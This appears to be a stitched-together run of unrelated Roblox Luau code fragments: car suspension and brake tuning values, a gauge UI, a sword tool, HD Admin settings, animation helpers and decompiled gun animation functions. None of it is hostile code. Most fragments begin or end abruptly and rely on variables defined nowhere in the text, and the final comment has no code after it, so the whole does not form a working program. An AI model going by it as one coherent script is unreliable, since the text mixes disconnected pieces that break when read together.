Tune.SusEnabled = true -- Sets whether suspension is enabled for PGS --Front Suspension Tune.FSusStiffness = 25000 -- Spring Force Tune.FSusDamping = 400 -- Spring Dampening Tune.FAntiRoll = 400 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 1.9 -- Resting Suspension length (in studs) Tune.FPreCompress = .1 -- Pre-compression adds resting length force Tune.FExtensionLim = .4 -- Max Extension Travel (in studs) Tune.FCompressLim = .2 -- Max Compression Travel (in studs) Tune.FSusAngle = 75 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusStiffness = 20000 -- Spring Force Tune.RSusDamping = 400 -- Spring Dampening Tune.RAntiRoll = 400 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2.1 -- Resting Suspension length (in studs) Tune.RPreCompress = .1 -- Pre-compression adds resting length force Tune.RExtensionLim = .4 -- Max Extension Travel (in studs) Tune.RCompressLim = .2 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 2 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics (PGS ONLY) Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Dark stone grey" -- Suspension Color [BrickColor] Tune.SusCoilCount = 8 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
-- Local Functions
local function OnPlayerAdded(player) -- Setup leaderboard stats local leaderstats = Instance.new('Model', player) leaderstats.Name = 'leaderstats' local Captures = Instance.new('IntValue', leaderstats) Captures.Name = 'Captures' Captures.Value = 0 -- Add player to team TeamManager:AssignPlayerToTeam(player) player.CharacterAdded:connect(function(character) character:WaitForChild('Humanoid').Died:connect(function() wait(Configurations.RESPAWN_TIME) if GameRunning then player:LoadCharacter() end end) end) -- Check if player should be spawned if PlayersCanSpawn then player:LoadCharacter() else DisplayManager:StartIntermission(player) end end local function OnPlayerRemoving(player) TeamManager:RemovePlayer(player) end
--[=[ Adds json to a localization table @param localizationTable LocalizationTable -- The localization table to add to @param localeId string -- The localeId to use @param json string -- The json to add with @param tableName string -- Used for source ]=]
function JsonToLocalizationTable.addJsonToTable(localizationTable, localeId, json, tableName) assert(type(tableName) == "string", "Bad tableName") local decodedTable = HttpService:JSONDecode(json) recurseAdd(localizationTable, localeId, "", decodedTable, tableName) end return JsonToLocalizationTable
-- Gradually regenerates the Humanoid's Health over time.
local REGEN_RATE = 0.1/100 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = 0.05 -- Wait this long between each regeneration step.
--Get in a seat
local function enterStart() --Tell server we're trying to get in GetInStart:FireServer(AdornedSeat) --Wait until player lets go of button (causing them to get in) or seat out of range (nothing happens) while EnterKeyDown and AdornedSeat do wait() end if AdornedSeat then --Tell server we are getting in seat Remotes.GetInSeat:FireServer(AdornedSeat) local n = 0 repeat wait() n = n + 1 until AdornedSeat == nil or n>20 EnterImageButton.Visible = true local hum = getLocalHumanoid() if hum then if hum.Sit then -- load animations only when player is in the vehicle local hum = getLocalHumanoid() if hum ~= currentHumanoid then -- load only when we have a new humanoid currentHumanoid = hum local anims = animationFolder:GetChildren() for i = 1, #anims do AnimationTracks[anims[i].Name] = hum:LoadAnimation(anims[i]) end end -- play seated animation local seat = hum.SeatPart local prefix = (seat.ClassName == "VehicleSeat" and "Driver" or "Passenger") local preferredAnimation = AnimationTracks[prefix.."_Seated"] if preferredAnimation then preferredAnimation.Priority = Enum.AnimationPriority.Action preferredAnimation:Play() end end end end end
-------- OMG HAX
r = game:service("RunService") local damage = 0 local slash_damage = 0 local debounce = false function blow(hit) local humanoid = hit.Parent:findFirstChild("Immortal") local vCharacter = script.Parent.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Immortal") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand if debounce == false then debounce = true tagHumanoid(humanoid, vPlayer) zomghit = 0 + script.Parent.AddDam.Value humanoid:TakeDamage(zomghit) untagHumanoid(humanoid) wait(0.35) debounce = false end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage local Slash1 = script.Parent.Handle.Slash1 local Slash2 = script.Parent.Handle.Slash2 Slashsounds={Slash1, Slash2} Whoosh=(Slashsounds[math.random(1,#Slashsounds)]) Whoosh:play() local vCharacter = script.Parent.Parent local hum = vCharacter:findFirstChild("Immortal") Move1 = hum:LoadAnimation(script.Parent.Handle.LeftSlash) Move2 = hum:LoadAnimation(script.Parent.Handle.OverHeadSwing) Move3 = hum:LoadAnimation(script.Parent.Handle.RightSlash) MovesLikeJagger={Move1, Move2, Move3} IGotThem=(MovesLikeJagger[math.random(1,#MovesLikeJagger)]) IGotThem:Play() --hum.WalkSpeed = 0 wait(.1) Whoosh:play() wait(.1) --hum.WalkSpeed = 16 end script.Parent.Enabled = true function onActivated() if not script.Parent.Enabled then return end script.Parent.Enabled = false local character = script.Parent.Parent; local humanoid = character.Immortal if humanoid == nil then print("Humanoid not found") return end attack() wait(.1) script.Parent.Enabled = true end function onEquipped() --if Tool.Handle.LightsaberOn.isPlaying == false then script.Parent.Handle.LightsaberOn:play() script.Parent.Handle.IdleLoop:Play() --end end function onUnequipped() script.Parent.Handle.LightsaberOff:stop() script.Parent.Handle.IdleLoop:Stop() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) script.Parent.Unequipped:connect(onUnequipped) connection = script.Parent.Handle.Touched:connect(blow)
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) intach.Rotation = -30 + script.Parent.Parent.Values.RPM.Value * 240 / 8000 end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "N" car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "N" elseif gearText == -1 then gearText = "R" car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = "R" car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = "R" end script.Parent.Gear.Text = gearText car.Body.Dash.DashSc.G.Modes.Info.Gear.Text = gearText car.Body.Dash.DashSc.G.Modes.SpeedStats.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = true script.Parent.ABS.TextColor3 = Color3.new(1,0,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.ABS.Visible = false end end) script.Parent.Parent.Values.ABSActive.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true else wait() script.Parent.ABS.Visible = false end else script.Parent.ABS.Visible = false end end) script.Parent.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABSActive.Value and script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible elseif not script.Parent.Parent.Values.ABS.Value then wait() script.Parent.ABS.Visible = true end else if script.Parent.ABS.Visible then script.Parent.ABS.Visible = false end end end) script.Parent.Parent.Values.PBrake.Changed:connect(function() script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value end) script.Parent.Parent.Values.TransmissionMode.Changed:connect(function() if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then script.Parent.TMode.Text = "A/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0) elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then script.Parent.TMode.Text = "S/T" script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255) else script.Parent.TMode.Text = "M/T" script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5) end end) script.Parent.Parent.Values.Velocity.Changed:connect(function(property) script.Parent.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed) script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units inspd.Rotation = -30 + (240 / 160) * (math.abs(script.Parent.Parent.Values.Velocity.Value.Magnitude*((10/12) * (60/88)))) end) while wait(.1) do local gas = car.DriveSeat.Gas.Value script.Parent.Fuel.Text = math.floor(gas) .."% Diesel" end script.Parent.Speed.MouseButton1Click:connect(function() if currentUnits==#UNITS then currentUnits = 1 else currentUnits = currentUnits+1 end for i,v in pairs(script.Parent.Speedo:GetChildren()) do v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns" end script.Parent.Speed.Text = math.floor(UNITS[currentUnits].scaling*script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units end)
----- cold tap handler -----
coldTap.Interactive.ClickDetector.MouseClick:Connect(function() if coldOn.Value == false then coldOn.Value = true faucet.ParticleEmitter.Enabled = true waterSound:Play() coldTap:SetPrimaryPartCFrame(coldTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-45), 0)) else coldOn.Value = false if hotOn.Value == false then faucet.ParticleEmitter.Enabled = false waterSound:Stop() end coldTap:SetPrimaryPartCFrame(coldTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(45), 0)) end end)
--[[ Packs an array of numbers into a given animatable data type. If the type is not animatable, nil will be returned. FUTURE: When Luau supports singleton types, those could be used in conjunction with intersection types to make this function fully statically type checkable. ]]
local Oklab = require(script.Parent.Parent.Parent.Colour.Oklab) local function packType(numbers: {number}, typeString: string) if typeString == "number" then return numbers[1] elseif typeString == "CFrame" then return CFrame.new(numbers[1], numbers[2], numbers[3]) * CFrame.fromAxisAngle( Vector3.new(numbers[4], numbers[5], numbers[6]).Unit, numbers[7] ) elseif typeString == "Color3" then return Oklab.from( Vector3.new(numbers[1], numbers[2], numbers[3]), false ) elseif typeString == "ColorSequenceKeypoint" then return ColorSequenceKeypoint.new( numbers[4], Oklab.from( Vector3.new(numbers[1], numbers[2], numbers[3]), false ) ) elseif typeString == "DateTime" then return DateTime.fromUnixTimestampMillis(numbers[1]) elseif typeString == "NumberRange" then return NumberRange.new(numbers[1], numbers[2]) elseif typeString == "NumberSequenceKeypoint" then return NumberSequenceKeypoint.new(numbers[2], numbers[1], numbers[3]) elseif typeString == "PhysicalProperties" then return PhysicalProperties.new(numbers[1], numbers[2], numbers[3], numbers[4], numbers[5]) elseif typeString == "Ray" then return Ray.new( Vector3.new(numbers[1], numbers[2], numbers[3]), Vector3.new(numbers[4], numbers[5], numbers[6]) ) elseif typeString == "Rect" then return Rect.new(numbers[1], numbers[2], numbers[3], numbers[4]) elseif typeString == "Region3" then -- FUTURE: support rotated Region3s if/when they become constructable local position = Vector3.new(numbers[1], numbers[2], numbers[3]) local halfSize = Vector3.new(numbers[4] / 2, numbers[5] / 2, numbers[6] / 2) return Region3.new(position - halfSize, position + halfSize) elseif typeString == "Region3int16" then return Region3int16.new( Vector3int16.new(numbers[1], numbers[2], numbers[3]), Vector3int16.new(numbers[4], numbers[5], numbers[6]) ) elseif typeString == "UDim" then return UDim.new(numbers[1], numbers[2]) elseif typeString == "UDim2" then return UDim2.new(numbers[1], numbers[2], numbers[3], numbers[4]) elseif typeString == "Vector2" then return Vector2.new(numbers[1], numbers[2]) elseif typeString == "Vector2int16" then return Vector2int16.new(numbers[1], numbers[2]) elseif typeString == "Vector3" then return Vector3.new(numbers[1], numbers[2], numbers[3]) elseif typeString == "Vector3int16" then return Vector3int16.new(numbers[1], numbers[2], numbers[3]) else return nil end end return packType
-- return nil -- end
local function isObject(item: any): boolean return item and typeof(item) == "table" and not Array.isArray(item) end local function testNameToKey(testName: ConfigPath, count: number): string return testName .. " " .. count end local function keyToTestName(key: string): string if not key:match(" %d+$") then error(Error("Snapshot keys must end with a number.")) end return key:gsub(" %d+$", "") end local function getSnapshotData( snapshotPath: ConfigPath, update: ConfigSnapshotUpdateState ): { data: SnapshotData, dirty: boolean } local data = {} local dirty = false -- ROBLOX deviation: snapshots in Jest Roblox are ModuleScripts, so we require them to load them pcall(function() data = require(snapshotPath) :: any end) -- ROBLOX deviation: omitted validateSnapshotVersion for now since we will have our own -- snapshot versioning -- local validationResult = validateSnapshotVersion(data) local isInvalid = false -- data and validationResult -- if update == "none" and isInvalid then -- error(validationResult) -- end if (update == "all" or update == "new") and isInvalid then dirty = true end return { data = data, dirty = dirty, } end
--[[Brakes]]
Tune.ABSEnabled = true -- Implements ABS Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS) Tune.FBrakeForce = 8500 -- Front brake force Tune.RBrakeForce = 8000 -- Rear brake force Tune.PBrakeForce = 9000 -- Handbrake force Tune.FLgcyBForce = 15000 -- Front brake force [PGS OFF] Tune.RLgcyBForce = 10000 -- Rear brake force [PGS OFF] Tune.LgcyPBForce = 25000 -- Handbrake force [PGS OFF]
--
field:GetPropertyChangedSignal("Text"):Connect(function() result() tween_service:Create(frame, info, {ImageTransparency = Random.new():NextNumber(0, 1)}):Play() end) field.FocusLost:Connect(function() field.Text = "" -- tween_service:Create(frame, info, {ImageTransparency = 0}):Play() end)
-- Use the script's attributes as the default settings. -- The table provided is a fallback if the attributes -- are undefined or using the wrong value types.
local DEFAULT_SETTINGS = Settings.new(script, { WindDirection = Vector3.new(0.5, 0, 0.5); WindSpeed = 0; WindPower = 0; })
--------------| SYSTEM SETTINGS |--------------
Prefix = "9"; -- The character you use before every command (e.g. ';jump me'). SplitKey = " "; -- The character inbetween command arguments (e.g. setting it to '/' would change ';jump me' to ';jump/me'). BatchKey = ""; -- The character inbetween batch commands (e.g. setting it to '|' would change ';jump me ;fire me ;smoke me' to ';jump me | ;fire me | ;smoke me' QualifierBatchKey = ","; -- The character used to split up qualifiers (e.g. ;jump player1,player2,player3) Theme = "Blue"; -- The default UI theme. NoticeSoundId = 2865227271; -- The SoundId for notices. NoticeVolume = 0.1; -- The Volume for notices. NoticePitch = 1; -- The Pitch/PlaybackSpeed for notices. ErrorSoundId = 2865228021; -- The SoundId for error notifications. ErrorVolume = 0.1; -- The Volume for error notifications. ErrorPitch = 1; -- The Pitch/PlaybackSpeed for error notifications. AlertSoundId = 9161622880; -- The SoundId for alerts. AlertVolume = 0.5; -- The Volume for alerts. AlertPitch = 1; -- The Pitch/PlaybackSpeed for alerts. WelcomeBadgeId = 0; -- Award new players a badge, such as 'Welcome to the game!'. Set to 0 for no badge. CommandDebounce = true; -- Wait until the command effect is over to use again. Helps to limit abuse & lag. Set to 'false' to disable. SaveRank = true; -- Saves a player's rank in the server they received it. (e.g. ;rank plrName rank). Use ';permRank plrName rank' to permanently save a rank. Set to 'false' to disable. LoopCommands = 3; -- The minimum rank required to use LoopCommands. MusicList = {}; -- Songs which automatically appear in a user's radio. Type '!radio' to display the radio. ThemeColors = { -- The colours players can set their HD Admin UI (in the 'Settings' menu). | Format: {ThemeName, ThemeColor3Value}; {"Red", Color3.fromRGB(150, 0, 0), }; {"Orange", Color3.fromRGB(150, 75, 0), }; {"Brown", Color3.fromRGB(120, 80, 30), }; {"Yellow", Color3.fromRGB(130, 120, 0), }; {"Green", Color3.fromRGB(0, 120, 0), }; {"Blue", Color3.fromRGB(0, 100, 150), }; {"Purple", Color3.fromRGB(100, 0, 150), }; {"Pink", Color3.fromRGB(150, 0, 100), }; {"Black", Color3.fromRGB(60, 60, 60), }; }; Colors = { -- The colours for ChatColors and command arguments. | Format: {"ShortName", "FullName", Color3Value}; {"r", "Red", Color3.fromRGB(255, 0, 0) }; {"o", "Orange", Color3.fromRGB(250, 100, 0) }; {"y", "Yellow", Color3.fromRGB(255, 255, 0) }; {"g", "Green" , Color3.fromRGB(0, 255, 0) }; {"dg", "DarkGreen" , Color3.fromRGB(0, 125, 0) }; {"b", "Blue", Color3.fromRGB(0, 255, 255) }; {"db", "DarkBlue", Color3.fromRGB(0, 50, 255) }; {"p", "Purple", Color3.fromRGB(150, 0, 255) }; {"pk", "Pink", Color3.fromRGB(255, 85, 185) }; {"bk", "Black", Color3.fromRGB(0, 0, 0) }; {"w", "White", Color3.fromRGB(255, 255, 255) }; }; ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow. [5] = "Yellow"; }; Cmdbar = 1; -- The minimum rank required to use the Cmdbar. Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2. ViewBanland = 3; -- The minimum rank required to view the banland. OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page. RankRequiredToViewPage = { -- || The pages on the main menu || ["Commands"] = 0; ["Admin"] = 0; ["Settings"] = 0; }; RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin || ["Owner"] = 0; ["HeadAdmin"] = 0; ["Admin"] = 0; ["Mod"] = 0; ["VIP"] = 0; }; RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin || ["Owner"] = 0; ["SpecificUsers"] = 5; ["Gamepasses"] = 0; ["Assets"] = 0; ["Groups"] = 0; ["Friends"] = 0; ["FreeAdmin"] = 0; ["VipServerOwner"] = 0; }; RankRequiredToViewIcon = 0; WelcomeRankNotice = true; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable. WelcomeDonorNotice = true; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable. WarnIncorrectPrefix = true; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!" DisableAllNotices = false; -- Set to true to disable all HD Admin notices. ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked. IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit' CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit. ["fly"] = { Limit = 10000; IgnoreLimit = 3; }; ["fly2"] = { Limit = 10000; IgnoreLimit = 3; }; ["noclip"] = { Limit = 10000; IgnoreLimit = 3; }; ["noclip2"] = { Limit = 10000; IgnoreLimit = 3; }; ["speed"] = { Limit = 10000; IgnoreLimit = 3; }; ["jumpPower"] = { Limit = 10000; IgnoreLimit = 3; }; }; VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers. GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command. IgnoreGearBlacklist = 4; -- The minimum rank required to ignore the gear blacklist. PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData. SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData. CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices] --NoticeName = NoticeDetails; };
-- Knit
local ReplicatedStorage = game:GetService("ReplicatedStorage") local Knit = require(ReplicatedStorage:WaitForChild("Packages").Knit) local Janitor = require( ReplicatedStorage.Util.Janitor ) local Promise = require( Knit.Util.Promise )
--------------------------------------------------------------------------
local _WHEELTUNE = { --[[ SS6 Presets [Eco] WearSpeed = 1, TargetFriction = .7, MinFriction = .1, [Road] WearSpeed = 2, TargetFriction = .7, MinFriction = .1, [Sport] WearSpeed = 3, TargetFriction = .79, MinFriction = .1, ]] TireWearOn = true , --Friction and Wear FWearSpeed = .3 , FTargetFriction = 1.1 , FMinFriction = .5 , RWearSpeed = .3 , RTargetFriction = 1.1 , RMinFriction = .5 , --Tire Slip TCSOffRatio = 1/3 , WheelLockRatio = 1/2 , --SS6 Default = 1/4 WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2 --Wheel Properties FFrictionWeight = 1 , --SS6 Default = 1 RFrictionWeight = 1 , --SS6 Default = 1 FLgcyFrWeight = 10 , RLgcyFrWeight = 10 , FElasticity = 0 , --SS6 Default = .5 RElasticity = 0 , --SS6 Default = .5 FLgcyElasticity = 0 , RLgcyElasticity = 0 , FElastWeight = 1 , --SS6 Default = 1 RElastWeight = 1 , --SS6 Default = 1 FLgcyElWeight = 10 , RLgcyElWeight = 10 , --Wear Regen RegenSpeed = 1.8 --SS6 Default = 3.6 }
-- Actual slider
local sliding = script.Parent.Slider.SliderBG.SliderActualy
--[=[ @param name string -- Name passed to `RunService:BindToRenderStep` @param priority number -- Priority passed to `RunService:BindToRenderStep` @param callbackFn UpdateCallbackFn Bind the `Update` method to RenderStep. All bond functions are cleaned up when the shake instance is stopped or destroyed. ```lua local renderPriority = Enum.RenderPriority.Camera.Value local function SomeShake(pos: Vector3, rot: Vector3, completed: boolean) -- Shake end shake:BindToRenderStep("SomeShake", renderPriority, SomeShake) ``` ]=]
function Shake:BindToRenderStep(name: string, priority: number, callbackFn: UpdateCallbackFn) self._trove:BindToRenderStep(name, priority, function() callbackFn(self:Update()) end) end
--// Animations
local L_119_ function IdleAnim(L_238_arg1) L_21_.IdleAnim(L_3_, L_119_, { L_26_, L_27_, L_28_ }); end; function EquipAnim(L_239_arg1) L_21_.EquipAnim(L_3_, L_119_, { L_26_ }); end; function UnequipAnim(L_240_arg1) L_21_.UnequipAnim(L_3_, L_119_, { L_26_ }); end; function FireModeAnim(L_241_arg1) L_21_.FireModeAnim(L_3_, L_119_, { L_26_, L_28_, L_27_, L_36_ }); end function ReloadAnim(L_242_arg1) L_21_.ReloadAnim(L_3_, L_119_, { L_26_, L_27_, L_28_, L_38_, L_3_:WaitForChild('Left Arm'), L_36_, L_30_, L_3_:WaitForChild('Right Arm'), L_24_ }); end; function BoltingBackAnim(L_243_arg1) L_21_.BoltingBackAnim(L_3_, L_119_, { L_30_ }); end function BoltingForwardAnim(L_244_arg1) L_21_.BoltingForwardAnim(L_3_, L_119_, { L_30_ }); end function BoltingForwardAnim(L_245_arg1) L_21_.BoltingForwardAnim(L_3_, L_119_, { L_30_ }); end function BoltBackAnim(L_246_arg1) L_21_.BoltBackAnim(L_3_, L_119_, { L_30_, L_28_, L_27_, L_26_, L_39_ }); end function BoltForwardAnim(L_247_arg1) L_21_.BoltForwardAnim(L_3_, L_119_, { L_30_, L_28_, L_27_, L_26_, L_39_ }); end
-- Interaction GUIs prompting user input
local InteractionButton = InteractionGui:WaitForChild("InteractionButton")
--Stoppie tune
local StoppieD = 15 local StoppieTq = 65 local StoppieP = 10 local StoppieMultiplier = 1 local StoppieDivider = 2 local clock = .0667 --How fast your wheelie script refreshes
-- Requires
local RecoilSimulator = require(script.RecoilSimulator) local SpreadSimulator = require(script.SpreadSimulator)
--[[ Script Variables ]]
-- while not Players.LocalPlayer do wait() end local LocalPlayer = Players.LocalPlayer local IsFollowStick = false local ThumbstickFrame = nil local MoveTouchObject = nil local OnTouchEnded = nil -- defined in Create() local OnTouchMovedCn = nil local OnTouchEndedCn = nil local currentMoveVector = Vector3.new(0,0,0)
-- List of actions that could be requested
